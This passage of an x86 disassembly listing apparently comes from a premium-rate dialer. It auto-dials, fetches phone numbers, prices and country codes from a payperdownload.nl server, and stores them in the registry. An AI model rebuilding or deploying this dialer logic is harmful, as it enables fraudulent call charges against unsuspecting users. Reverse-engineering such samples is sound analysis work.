		mov	al, [ebp+var_7]
		test	al, al
		jz	short loc_40715A
		mov	[ebp+var_7], 0


loc_40715A:				; CODE XREF: sub_406E60+2F4j
		mov	[ebp+var_9], 0
		jmp	loc_407228
; ---------------------------------------------------------------------------


loc_407163:				; CODE XREF: sub_406E60+151j
		mov	[ebp+var_9], 1
		jmp	loc_407228
; ---------------------------------------------------------------------------


loc_40716C:				; CODE XREF: sub_406E60+148j
		mov	al, [ebp+var_2]
		test	al, al
		jz	short loc_407192
		mov	eax, [ebp+cbData]
		test	eax, eax
		jle	short loc_40718A
		mov	[ebp+var_2], 0
		mov	[ebp+var_11], 1
		mov	[ebp+var_24], esi
		jmp	loc_407228
; ---------------------------------------------------------------------------


loc_40718A:				; CODE XREF: sub_406E60+318j
		mov	[ebp+cbData], ebx
		jmp	loc_407228
; ---------------------------------------------------------------------------


loc_407192:				; CODE XREF: sub_406E60+311j
		mov	al, [ebp+var_5]
		test	al, al
		jz	short loc_4071B2
		mov	eax, [ebp+var_18]
		test	eax, eax
		jle	short loc_4071AD
		mov	[ebp+var_5], 0
		mov	[ebp+var_14], 1
		mov	[ebp+var_1C], esi
		jmp	short loc_407228
; ---------------------------------------------------------------------------


loc_4071AD:				; CODE XREF: sub_406E60+33Ej
		mov	[ebp+var_18], ebx
		jmp	short loc_407228
; ---------------------------------------------------------------------------


loc_4071B2:				; CODE XREF: sub_406E60+337j
		mov	al, [ebp+var_4]
		test	al, al
		jz	short loc_4071D2
		mov	eax, [ebp+var_28]
		test	eax, eax
		jle	short loc_4071CD
		mov	[ebp+var_4], 0
		mov	[ebp+var_13], 1
		mov	[ebp+dwDisposition], esi
		jmp	short loc_407228
; ---------------------------------------------------------------------------


loc_4071CD:				; CODE XREF: sub_406E60+35Ej
		mov	[ebp+var_28], ebx
		jmp	short loc_407228
; ---------------------------------------------------------------------------


loc_4071D2:				; CODE XREF: sub_406E60+357j
		mov	al, [ebp+var_6]
		test	al, al
		jz	short loc_4071EE
		mov	eax, [ebp+var_48]
		test	eax, eax
		jle	short loc_4071E9
		mov	[ebp+var_6], 0
		mov	[ebp+var_34], esi
		jmp	short loc_407228
; ---------------------------------------------------------------------------


loc_4071E9:				; CODE XREF: sub_406E60+37Ej
		mov	[ebp+var_48], ebx
		jmp	short loc_407228
; ---------------------------------------------------------------------------


loc_4071EE:				; CODE XREF: sub_406E60+377j
		mov	al, [ebp+var_1]
		test	al, al
		jz	short loc_40720E
		mov	eax, [ebp+hKey]
		test	eax, eax
		jle	short loc_407209
		mov	[ebp+var_1], 0
		mov	[ebp+var_12], 1
		mov	[ebp+var_38], esi
		jmp	short loc_407228
; ---------------------------------------------------------------------------


loc_407209:				; CODE XREF: sub_406E60+39Aj
		mov	[ebp+hKey], ebx
		jmp	short loc_407228
; ---------------------------------------------------------------------------


loc_40720E:				; CODE XREF: sub_406E60+393j
		mov	al, [ebp+var_3]
		test	al, al
		jz	short loc_407228
		mov	eax, [ebp+var_4C]
		test	eax, eax
		jle	short loc_407225
		mov	[ebp+var_3], 0
		mov	[ebp+var_2C], esi
		jmp	short loc_407228
; ---------------------------------------------------------------------------


loc_407225:				; CODE XREF: sub_406E60+3BAj
		mov	[ebp+var_4C], ebx


loc_407228:				; CODE XREF: sub_406E60+194j
					; sub_406E60+1B1j ...
		mov	eax, [ebp+var_50]
		inc	esi
		inc	edi
		inc	ebx
		cmp	esi, eax
		jb	loc_406F97


loc_407236:				; CODE XREF: sub_406E60+13Cj
		mov	eax, [ebp+var_24]
		mov	edx, [ebp+var_1C]


loc_40723C:				; CODE XREF: sub_406E60+126j
		mov	esi, [ebp+cbData]
		mov	ecx, 13h
		sub	eax, esi
		cmp	eax, 13h
		mov	[ebp+cbData], eax
		jg	short loc_407250
		mov	ecx, eax


loc_407250:				; CODE XREF: sub_406E60+3ECj
		mov	ebx, ecx
		lea	esi, [ebp+esi+var_B10]
		lea	edi, [ebp+String2]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	esi, [ebp+var_18]
		mov	[ebp+eax+String2], 0
		sub	edx, esi
		mov	ecx, 13h
		mov	eax, edx
		cmp	eax, 13h
		mov	[ebp+var_1C], eax
		jg	short loc_407289
		mov	ecx, eax


loc_407289:				; CODE XREF: sub_406E60+425j
		mov	edx, ecx
		lea	esi, [ebp+esi+var_B10]
		lea	edi, [ebp+var_B0]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		mov	edx, [ebp+var_28]
		and	ecx, 3
		rep movsb
		mov	[ebp+eax+var_B0], 0
		mov	eax, [ebp+dwDisposition]
		sub	eax, edx
		mov	ecx, 1Dh
		cmp	eax, 1Dh
		mov	[ebp+var_28], eax
		jg	short loc_4072C3
		mov	ecx, eax


loc_4072C3:				; CODE XREF: sub_406E60+45Fj
		lea	esi, [ebp+edx+var_B10]
		mov	edx, ecx
		lea	edi, [ebp+var_F0]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		mov	edx, [ebp+var_48]
		and	ecx, 3
		rep movsb
		mov	[ebp+eax+var_F0], 0
		mov	eax, [ebp+var_34]
		sub	eax, edx
		mov	ecx, 1Dh
		cmp	eax, 1Dh
		mov	[ebp+var_24], eax
		jg	short loc_4072FD
		mov	ecx, eax


loc_4072FD:				; CODE XREF: sub_406E60+499j
		lea	esi, [ebp+edx+var_B10]
		mov	edx, ecx
		lea	edi, [ebp+var_D0]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		mov	edx, [ebp+hKey]
		and	ecx, 3
		rep movsb
		mov	[ebp+eax+var_D0], 0
		mov	eax, [ebp+var_38]
		sub	eax, edx
		cmp	eax, 4
		mov	[ebp+var_18], eax
		jle	short loc_407335
		mov	eax, 4


loc_407335:				; CODE XREF: sub_406E60+4CEj
		mov	ecx, eax
		mov	eax, [ebp+hKey]
		mov	edx, ecx
		lea	edi, [ebp+var_40]
		lea	esi, [ebp+eax+var_B10]
		mov	ebx, [ebp+var_2C]
		shr	ecx, 2
		rep movsd
		mov	eax, [ebp+var_18]
		mov	ecx, edx
		mov	edx, [ebp+var_4C]
		and	ecx, 3
		sub	ebx, edx
		rep movsb
		cmp	ebx, 4
		mov	[ebp+eax+var_40], 0
		mov	ecx, 4
		jg	short loc_40736E
		mov	ecx, ebx


loc_40736E:				; CODE XREF: sub_406E60+50Aj
		lea	esi, [ebp+edx+var_B10]
		mov	edx, ecx
		lea	edi, [ebp+var_34]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		test	eax, eax
		mov	byte ptr [ebp+ebx+var_34], 0
		jle	loc_4074D8
		test	ebx, ebx
		jle	loc_4074D8
		mov	esi, [ebp+var_18]
		lea	eax, [ebp+var_40]
		push	esi
		push	eax
		push	offset aXx	; "xx"
		call	sub_40B490
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4073CE
		lea	ecx, [ebp+var_40]
		push	esi
		push	ecx
		push	offset aXx_0	; "XX"
		call	sub_40B490
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_4074D8


loc_4073CE:				; CODE XREF: sub_406E60+552j
		mov	eax, [ebp+cbData]
		lea	esi, [ebp+String2]
		mov	ecx, eax
		lea	edi, [ebp+var_110]
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+var_28]
		lea	esi, [ebp+var_F0]
		mov	[ebp+var_2C], ecx
		mov	edx, ecx
		shr	ecx, 2
		lea	edi, [ebp+var_7C]
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+var_18]
		lea	esi, [ebp+var_B0]
		mov	[ebp+var_38], ecx
		mov	ecx, [ebp+var_1C]
		mov	[ebp+cbData], ecx
		mov	edx, ecx
		shr	ecx, 2
		lea	edi, [ebp+String2]
		mov	[ebp+var_1C], eax
		rep movsd
		mov	ecx, edx
		mov	[ebp+var_18], ebx
		and	ecx, 3
		rep movsb
		mov	ecx, edx
		lea	esi, [ebp+var_D0]
		lea	edi, [ebp+var_F0]
		mov	[ebp+ecx+String2], 0
		mov	ecx, [ebp+var_24]
		mov	[ebp+var_28], ecx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, edx
		lea	esi, [ebp+var_34]
		lea	edi, [ebp+var_40]
		mov	[ebp+ecx+var_F0], 0
		mov	ecx, ebx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, eax
		lea	esi, [ebp+var_110]
		mov	edx, ecx
		lea	edi, [ebp+var_B0]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		mov	[ebp+ebx+var_40], 0
		and	ecx, 3
		rep movsb
		mov	[ebp+eax+var_B0], 0
		mov	eax, [ebp+var_2C]
		mov	ecx, eax
		lea	esi, [ebp+var_7C]
		mov	edx, ecx
		lea	edi, [ebp+var_D0]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		mov	[ebp+var_24], eax
		and	ecx, 3
		rep movsb
		mov	[ebp+eax+var_D0], 0
		mov	eax, [ebp+var_38]
		mov	byte ptr [ebp+eax+var_34], 0


loc_4074D8:				; CODE XREF: sub_406E60+52Dj
					; sub_406E60+535j ...
		mov	eax, [ebp+cbData]
		xor	ebx, ebx
		cmp	eax, ebx
		jle	loc_4077BE
		mov	ecx, [ebp+var_54]
		lea	edx, [ebp+String]
		push	200h		; cchBufferMax
		push	edx		; lpBuffer
		mov	eax, [ecx+1Ch]
		push	71h		; uID
		push	eax		; hInstance
		mov	[ebp+bstrString], ebx
		mov	[ebp+lpMem], ebx
		mov	[ebp+var_80], ebx
		mov	[ebp+var_7C], bl
		mov	[ebp+var_5E], bl
		call	ds:LoadStringA	; LoadStringA
		mov	esi, eax
		mov	eax, [ebp+bstrString]
		push	eax		; bstrString
		call	ds:SysFreeString
		mov	edi, ds:lstrlenA
		cmp	esi, ebx
		jz	short loc_4075A3
		lea	ecx, [ebp+String]
		test	ecx, ecx
		jnz	short loc_40755B
		xor	eax, eax
		push	eax		; psz
		call	ds:SysAllocString
		mov	[ebp+bstrString], eax
		jmp	short loc_4075A9
; ---------------------------------------------------------------------------


loc_407549:				; CODE XREF: sub_406E60+166j
		mov	eax, 0FFFFFFFDh
		lea	esp, [ebp-0B1Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40755B:				; CODE XREF: sub_406E60+6D6j
		lea	edx, [ebp+String]
		push	edx		; lpString
		call	edi ; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	ebx, esp
		push	esi		; cchWideChar
		push	ebx		; lpWideCharStr
		lea	eax, [ebp+String]
		push	0FFFFFFFFh	; cbMultiByte
		push	eax		; lpMultiByteStr
		push	0		; dwFlags
		push	0		; CodePage
		mov	word ptr [ebx],	0
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	eax, ebx
		xor	ebx, ebx
		push	eax		; psz
		call	ds:SysAllocString
		mov	[ebp+bstrString], eax
		jmp	short loc_4075A9
; ---------------------------------------------------------------------------


loc_4075A3:				; CODE XREF: sub_406E60+6CCj
		mov	[ebp+bstrString], ebx


loc_4075A9:				; CODE XREF: sub_406E60+6E7j
					; sub_406E60+741j
		mov	ecx, offset MultiByteStr ; "\\"
		test	ecx, ecx
		jnz	short loc_4075B9
		xor	eax, eax
		mov	[ebp+var_2C], eax
		jmp	short loc_4075F1
; ---------------------------------------------------------------------------


loc_4075B9:				; CODE XREF: sub_406E60+750j
		push	offset MultiByteStr ; "\\"
		call	edi ; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	ebx, esp
		push	esi		; cchWideChar
		push	ebx		; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		push	offset MultiByteStr ; "\\"
		push	0		; dwFlags
		push	0		; CodePage
		mov	word ptr [ebx],	0
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	eax, ebx
		xor	ebx, ebx
		mov	[ebp+var_2C], eax


loc_4075F1:				; CODE XREF: sub_406E60+757j
		push	eax		; lpString
		call	ds:lstrlenW	; lstrlenW
		mov	edi, eax
		mov	eax, [ebp+bstrString]
		cmp	eax, ebx
		mov	[ebp+var_38], edi
		jnz	short loc_40760B
		xor	esi, esi
		jmp	short loc_407614
; ---------------------------------------------------------------------------


loc_40760B:				; CODE XREF: sub_406E60+7A5j
		push	eax		; BSTR
		call	ds:SysStringLen
		mov	esi, eax


loc_407614:				; CODE XREF: sub_406E60+7A9j
		lea	eax, [esi+edi]
		push	eax		; ui
		push	0		; strIn
		mov	[ebp+var_34], eax
		call	ds:SysAllocStringLen
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_407679
		lea	eax, [esi+esi]
		mov	esi, [ebp+bstrString]
		mov	ecx, eax
		mov	edi, ebx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+var_38]
		mov	esi, [ebp+var_2C]
		add	ecx, ecx
		lea	edi, [eax+ebx]
		mov	edx, ecx
		mov	eax, [ebp+var_34]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	word ptr [ebx+eax*2], 0
		mov	ecx, [ebp+bstrString]
		push	ecx		; bstrString
		call	ds:SysFreeString
		mov	[ebp+bstrString], ebx


loc_407679:				; CODE XREF: sub_406E60+7C7j
		mov	edi, [ebp+var_54]
		push	7Ah		; bstrString
		lea	ecx, [ebp+bstrString]
		mov	edx, [edi+1Ch]
		push	edx		; hInstance
		call	sub_40A840
		lea	eax, [ebp+dwDisposition]
		lea	ecx, [ebp+hKey]
		push	eax		; lpdwDisposition
		push	ecx		; phkResult
		push	0		; lpSecurityAttributes
		push	0F003Fh		; samDesired
		push	0		; dwOptions
		push	0		; lpClass
		push	0		; Reserved
		lea	ecx, [ebp+bstrString]
		call	sub_40A2D0
		push	eax		; lpSubKey
		push	80000001h	; hKey
		call	ds:RegCreateKeyExA	; RegCreateKeyExA
		test	eax, eax
		jnz	loc_407750
		mov	edx, [ebp+cbData]
		mov	ecx, [ebp+hKey]
		mov	esi, ds:RegSetValueExA
		lea	eax, [ebp+String2]
		push	edx		; cbData
		push	eax		; lpData
		push	1		; dwType
		push	0		; Reserved
		push	offset aPhonenumber1 ; "phonenumber1"
		push	ecx		; hKey
		call	esi ; RegSetValueExA
		mov	edx, [ebp+var_1C]
		mov	ecx, [ebp+hKey]
		lea	eax, [ebp+var_B0]
		push	edx		; cbData
		push	eax		; lpData
		push	1		; dwType
		push	0		; Reserved
		push	offset aPhonenumber2 ; "phonenumber2"
		push	ecx		; hKey
		call	esi ; RegSetValueExA
		mov	edx, [ebp+var_28]
		mov	ecx, [ebp+hKey]
		lea	eax, [ebp+var_F0]
		push	edx		; cbData
		push	eax		; lpData
		push	1		; dwType
		push	0		; Reserved
		push	offset aPrice1	; "price1"
		push	ecx		; hKey
		call	esi ; RegSetValueExA
		mov	edx, [ebp+var_24]
		mov	ecx, [ebp+hKey]
		lea	eax, [ebp+var_D0]
		push	edx		; cbData
		push	eax		; lpData
		push	1		; dwType
		push	0		; Reserved
		push	offset aPrice2	; "price2"
		push	ecx		; hKey
		call	esi ; RegSetValueExA
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+hKey]
		lea	eax, [ebp+var_40]
		push	edx		; cbData
		push	eax		; lpData
		push	1		; dwType
		push	0		; Reserved
		push	offset aCc	; "cc"
		push	ecx		; hKey
		call	esi ; RegSetValueExA
		mov	edx, [ebp+hKey]
		push	edx		; hKey
		call	ds:RegCloseKey	; RegCloseKey


loc_407750:				; CODE XREF: sub_406E60+85Bj
		lea	eax, [ebp+String2]
		lea	esi, [edi+20h]
		push	eax		; lpString2
		push	1		; int
		mov	ecx, esi
		call	sub_409350
		lea	ecx, [ebp+var_B0]
		push	ecx		; lpString2
		push	2		; int
		mov	ecx, esi
		call	sub_409350
		mov	eax, [ebp+lpMem]
		xor	esi, esi
		test	eax, eax
		jz	short loc_40778E
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[ebp+lpMem], esi


loc_40778E:				; CODE XREF: sub_406E60+91Dj
		mov	edx, [ebp+bstrString]
		push	edx		; bstrString
		call	ds:SysFreeString
		mov	eax, [ebp+var_5C]
		push	eax
		call	ds:InternetCloseHandle	; InternetCloseHandle
		mov	ecx, [ebp+var_58]
		push	ecx
		call	ds:InternetCloseHandle	; InternetCloseHandle
		mov	eax, esi
		lea	esp, [ebp-0B1Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4077BE:				; CODE XREF: sub_406E60+67Fj
		mov	esi, 0FFFFFFFDh


loc_4077C3:				; CODE XREF: sub_406E60+A9j
					; sub_406E60+B4j
		mov	eax, [ebp+var_5C]
		push	eax
		call	ds:InternetCloseHandle	; InternetCloseHandle
		mov	ecx, [ebp+var_58]
		push	ecx
		call	ds:InternetCloseHandle	; InternetCloseHandle
		mov	eax, esi
		lea	esp, [ebp-0B1Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4077E6:				; CODE XREF: sub_406E60+85j
		mov	ecx, [ebp+var_58]
		mov	esi, 0FFFFFFFEh
		push	ecx
		call	ds:InternetCloseHandle	; InternetCloseHandle
		mov	eax, esi
		lea	esp, [ebp-0B1Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_407804:				; CODE XREF: sub_406E60+2Bj
					; sub_406E60+48j ...
		lea	esp, [ebp-0B1Ch]
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_406E60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407820	proc near		; CODE XREF: sub_406720+327p
					; sub_406720+333p

var_E98		= byte ptr -0E98h
var_698		= byte ptr -698h
String		= byte ptr -298h
var_98		= byte ptr -98h
String2		= byte ptr -78h
bstrString	= dword	ptr -64h
lpMem		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_3A		= byte ptr -3Ah
var_38		= dword	ptr -38h
dwDisposition	= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
cbData		= dword	ptr -1Ch
var_18		= dword	ptr -18h
lpString	= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
hKey		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0E98h
		push	ebx
		push	esi
		mov	esi, ds:InternetCheckConnectionA
		push	edi
		push	0
		mov	edi, ecx
		push	1
		push	offset aHttpPrs_payper ; "http://prs.payperdownload.nl"
		mov	[ebp+var_20], edi
		call	esi ; InternetCheckConnectionA
		test	eax, eax
		jnz	short loc_40786E
		mov	al, [edi+54h]
		test	al, al
		jnz	loc_407EA2
		push	0
		push	2
		call	ds:InternetAutodial	; InternetAutodial
		push	0
		push	1
		push	offset aHttpPrs_payper ; "http://prs.payperdownload.nl"
		call	esi ; InternetCheckConnectionA
		test	eax, eax
		jz	loc_407EA2


loc_40786E:				; CODE XREF: sub_407820+24j
		push	0
		push	0
		push	0
		push	0
		push	offset aDel	; "del"
		call	ds:InternetOpenA	; InternetOpenA
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+var_24], ebx
		jz	loc_407EA2
		mov	edi, offset aHttpPrs_payp_1 ; "http://prs.payperdownload.nl/radius/dia"...
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [ebp+var_698]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		push	0
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		push	0
		rep movsb
		lea	edi, [ebp+var_698]
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	edi, [ebp+arg_0]
		push	0
		not	ecx
		dec	ecx
		lea	edx, [ebp+ecx+var_698]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	ecx, [ebp+var_698]
		push	ecx
		push	ebx
		call	ds:InternetOpenUrlA	; InternetOpenUrlA
		mov	esi, eax
		test	esi, esi
		mov	[ebp+var_2C], esi
		jz	loc_407E85
		lea	edx, [ebp+var_28]
		lea	eax, [ebp+var_E98]
		push	edx
		push	800h
		push	eax
		push	esi
		mov	edi, 0FFFFFFFDh
		call	ds:InternetReadFile	; InternetReadFile
		test	eax, eax
		jz	loc_407E66
		mov	eax, [ebp+var_28]
		xor	ecx, ecx
		cmp	eax, ecx
		jz	loc_407E66
		xor	esi, esi
		cmp	eax, ecx
		mov	[ebp+eax+var_E98], cl
		mov	[ebp+var_5], 0
		mov	[ebp+var_3], 0
		mov	[ebp+var_4], 0
		mov	[ebp+var_D], 0
		mov	[ebp+var_F], 0
		mov	[ebp+var_2], 0
		mov	[ebp+var_1], 0
		mov	[ebp+var_E], 0
		mov	[ebp+lpString],	ecx
		mov	[ebp+cbData], ecx
		mov	[ebp+hKey], ecx
		mov	[ebp+var_18], ecx
		jbe	loc_407B0F
		mov	ebx, 1
		lea	edi, [ebp+var_E98]
		jmp	short loc_40798B
; ---------------------------------------------------------------------------


loc_407989:				; CODE XREF: sub_407820+2E9j
		xor	ecx, ecx


loc_40798B:				; CODE XREF: sub_407820+167j
		mov	al, [ebp+var_E]
		test	al, al
		jnz	loc_407B0F
		movsx	eax, byte ptr [edi]
		sub	eax, 22h
		jz	loc_407AC7
		sub	eax, 1Ah
		jz	loc_407AC1
		sub	eax, 2
		jz	loc_407A9F
		cmp	ebx, 7D1h
		jg	loc_407BE4
		mov	al, [ebp+var_4]
		test	al, al
		jz	short loc_407A30
		push	0Bh
		push	edi
		push	offset aCallrecords ; "callrecords"
		call	sub_40B490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4079ED
		add	esi, 0Ah
		add	edi, 0Ah
		mov	[ebp+var_5], 1
		add	ebx, 0Ah
		jmp	loc_407B01
; ---------------------------------------------------------------------------


loc_4079ED:				; CODE XREF: sub_407820+1B9j
		push	0Ch
		push	edi
		push	offset aCallrecords_0 ;	"/callrecords"
		call	sub_40B490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_407A0A
		mov	[ebp+var_E], 1
		jmp	loc_407B01
; ---------------------------------------------------------------------------


loc_407A0A:				; CODE XREF: sub_407820+1DFj
		push	4
		push	edi
		push	offset aCall	; "call"
		call	sub_40B490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_407A30
		add	esi, 3
		add	edi, 3
		mov	[ebp+var_3], 1
		add	ebx, 3
		jmp	loc_407B01
; ---------------------------------------------------------------------------


loc_407A30:				; CODE XREF: sub_407820+1A5j
					; sub_407820+1FCj
		mov	al, [ebp+var_3]
		test	al, al
		jz	loc_407B01
		push	0Ah
		push	edi
		push	offset aRealnumber ; "realnumber"
		call	sub_40B490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_407A6F
		mov	[ebp+var_2], al
		mov	al, [ebp+var_D]
		test	al, al
		jnz	short loc_407A5D
		mov	[ebp+var_2], 1


loc_407A5D:				; CODE XREF: sub_407820+237j
		add	esi, 9
		add	edi, 9
		mov	[ebp+var_1], 0
		add	ebx, 9
		jmp	loc_407B01
; ---------------------------------------------------------------------------


loc_407A6F:				; CODE XREF: sub_407820+22Dj
		push	5
		push	edi
		push	offset aPrice	; "price"
		call	sub_40B490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_407B01
		mov	[ebp+var_2], al
		mov	[ebp+var_1], al
		mov	al, [ebp+var_F]
		test	al, al
		jnz	short loc_407A94
		mov	[ebp+var_1], 1


loc_407A94:				; CODE XREF: sub_407820+26Ej
		add	esi, 4
		add	edi, 4
		add	ebx, 4
		jmp	short loc_407B01
; ---------------------------------------------------------------------------


loc_407A9F:				; CODE XREF: sub_407820+18Ej
		mov	al, [ebp+var_5]
		test	al, al
		jz	short loc_407AB0
		mov	[ebp+var_5], 0
		mov	[ebp+var_4], 0
		jmp	short loc_407B01
; ---------------------------------------------------------------------------


loc_407AB0:				; CODE XREF: sub_407820+284j
		mov	al, [ebp+var_3]
		test	al, al
		jz	short loc_407ABB
		mov	[ebp+var_3], 0


loc_407ABB:				; CODE XREF: sub_407820+295j
		mov	[ebp+var_4], 0
		jmp	short loc_407B01
; ---------------------------------------------------------------------------


loc_407AC1:				; CODE XREF: sub_407820+185j
		mov	[ebp+var_4], 1
		jmp	short loc_407B01
; ---------------------------------------------------------------------------


loc_407AC7:				; CODE XREF: sub_407820+17Cj
		mov	al, [ebp+var_2]
		test	al, al
		jz	short loc_407AE5
		cmp	[ebp+lpString],	ecx
		jle	short loc_407AE0
		mov	[ebp+var_2], 0
		mov	[ebp+var_D], 1
		mov	[ebp+cbData], esi
		jmp	short loc_407B01
; ---------------------------------------------------------------------------


loc_407AE0:				; CODE XREF: sub_407820+2B1j
		mov	[ebp+lpString],	ebx
		jmp	short loc_407B01
; ---------------------------------------------------------------------------


loc_407AE5:				; CODE XREF: sub_407820+2ACj
		mov	al, [ebp+var_1]
		test	al, al
		jz	short loc_407B01
		cmp	[ebp+hKey], ecx
		jle	short loc_407AFE
		mov	[ebp+var_1], 0
		mov	[ebp+var_F], 1
		mov	[ebp+var_18], esi
		jmp	short loc_407B01
; ---------------------------------------------------------------------------


loc_407AFE:				; CODE XREF: sub_407820+2CFj
		mov	[ebp+hKey], ebx


loc_407B01:				; CODE XREF: sub_407820+1C8j
					; sub_407820+1E5j ...
		mov	eax, [ebp+var_28]
		inc	esi
		inc	edi
		inc	ebx
		cmp	esi, eax
		jb	loc_407989


loc_407B0F:				; CODE XREF: sub_407820+156j
					; sub_407820+170j
		mov	eax, [ebp+lpString]
		mov	edx, [ebp+cbData]
		sub	edx, eax
		mov	ecx, 13h
		cmp	edx, 13h
		mov	[ebp+cbData], edx
		jg	short loc_407B26
		mov	ecx, edx


loc_407B26:				; CODE XREF: sub_407820+302j
		lea	esi, [ebp+eax+var_E98]
		mov	eax, ecx
		lea	edi, [ebp+String2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [ebp+var_18]
		and	ecx, 3
		rep movsb
		mov	esi, [ebp+hKey]
		mov	[ebp+edx+String2], 0
		sub	eax, esi
		mov	ecx, 27h
		cmp	eax, 27h
		mov	[ebp+var_18], eax
		jg	short loc_407B5A
		mov	ecx, eax


loc_407B5A:				; CODE XREF: sub_407820+336j
		mov	esi, [ebp+hKey]
		mov	ebx, ecx
		lea	edi, [ebp+var_98]
		lea	esi, [ebp+esi+var_E98]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		xor	edi, edi
		mov	[ebp+eax+var_98], 0
		cmp	edx, edi
		jle	loc_407E5B
		mov	ecx, [ebp+var_20]
		lea	edx, [ebp+String]
		push	200h		; cchBufferMax
		push	edx		; lpBuffer
		mov	eax, [ecx+1Ch]
		push	71h		; uID
		push	eax		; hInstance
		mov	[ebp+bstrString], edi
		mov	[ebp+lpMem], edi
		mov	[ebp+var_5C], edi
		mov	[ebp+var_58], 0
		mov	[ebp+var_3A], 0
		call	ds:LoadStringA	; LoadStringA
		mov	esi, eax
		mov	eax, [ebp+bstrString]
		push	eax		; bstrString
		call	ds:SysFreeString
		mov	ebx, ds:lstrlenA
		cmp	esi, edi
		jz	short loc_407C3D
		lea	ecx, [ebp+String]
		test	ecx, ecx
		jnz	short loc_407BF8
		xor	eax, eax
		push	eax		; psz
		call	ds:SysAllocString
		mov	[ebp+bstrString], eax
		jmp	short loc_407C40
; ---------------------------------------------------------------------------


loc_407BE4:				; CODE XREF: sub_407820+19Aj
		mov	eax, 0FFFFFFFDh
		lea	esp, [ebp-0EA4h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_407BF8:				; CODE XREF: sub_407820+3B4j
		lea	edx, [ebp+String]
		push	edx		; lpString
		call	ebx ; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	edi, esp
		push	esi		; cchWideChar
		push	edi		; lpWideCharStr
		lea	eax, [ebp+String]
		push	0FFFFFFFFh	; cbMultiByte
		push	eax		; lpMultiByteStr
		push	0		; dwFlags
		push	0		; CodePage
		mov	word ptr [edi],	0
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	eax, edi
		xor	edi, edi
		push	eax		; psz
		call	ds:SysAllocString
		mov	[ebp+bstrString], eax
		jmp	short loc_407C40
; ---------------------------------------------------------------------------


loc_407C3D:				; CODE XREF: sub_407820+3AAj
